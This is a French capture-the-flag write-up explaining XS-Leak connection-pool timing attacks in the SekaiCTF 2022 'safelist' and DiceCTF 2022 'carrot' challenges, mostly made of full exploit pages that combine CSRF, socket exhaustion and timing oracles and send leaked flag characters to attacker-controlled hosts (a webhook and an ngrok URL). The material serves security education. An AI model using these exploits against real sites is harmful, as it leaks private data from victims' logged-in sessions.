Dans le défi Sekaictf2022 - safelist, @Strellic_ donne un exemple de comment utiliser une variation de la technique de pool de connexions pour effectuer une fuite XS.
Dans ce défi, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un post. Voici les ressources dont dispose l'attaquant :
Le bot va visiter une URL donnée par l'attaquant
L'attaquant peut injecter du HTML dans la page (mais pas de JS, dompurify est utilisé) en abusant d'un CSRF pour faire en sorte que le bot crée un post avec ce HTML.
L'attaquant peut abuser d'un CSRF pour faire en sorte que le botsupprime le premier post à l'intérieur du web.
Comme les posts sont ordonnés alphabétiquement, lorsque le premier post est supprimé, si le contenu HTML de l'attaquant est chargé, cela signifie qu'il était alphabétiquement avant le drapeau.
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc_ est, pour chaque caractère à tester, de faire en sorte que le bot :
Crée un nouveau post qui commence par la partie connue du drapeau et plusieurs chargements d'img.
Supprime le post en position 0.
Bloque 255 sockets.
Charge la page avec les posts
Effectue 5 requêtes aléatoires vers un site (example.com dans ce cas) et mesure le temps que cela prend.
Si le post supprimé était le drapeau, cela signifie que toutes les imagesinjectées dans le HTML vont confluer avec les 5 requêtes aléatoires pour ce socket débloqué. Ce qui signifie que le temps mesuré sera plus long que dans l'autre scénario.
Si le post supprimé était le HTML, les 5 requêtes aléatoires seront plus rapides car elles n'ont pas besoin de lutter pour ce socket avec le HTML injecté.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
Dans ce cas, la première étape de l'exploit consistait à abuser d'un CSRF pour modifier la page où se trouve le drapeau afin qu'elle ait beaucoup plus de contenu (et donc le chargement prend plus de temps), puis abuser du pool de connexions pour mesurer le temps nécessaire pour accéder à la page qui pourrait potentiellement contenir le drapeau.
Dans l'exploit, vous pouvez voir :
Abuser du CSRF
Occuper tous les sockets sauf un
Calibrer la réponse
Commencer le bruteforce en accédant à la page potentielle avec le drapeau
La page potentielle sera accédée et immédiatement une URL contrôlée par les attaquants sera également accédée pour vérifier combien de temps prennent les deux requêtes.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {// slowlet url1 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`let t1 =awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastlet url2 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`let t2 =awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1 + t2) /2)});}constexploit=async(flag ='') => {console.log('Starting')// dont go to fast plz :)console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)let last;while (true) {last =awaitbrute(flag);if (last ===false) {return flag;}else {flag += last;output.innerText = flag;if(last ==='}'){return flag}}}}constpopunder= () => {if (window.opener) {WINBG=window.opener}else {WINBG=window.open(location.href, target="_blank")location =`about:blank`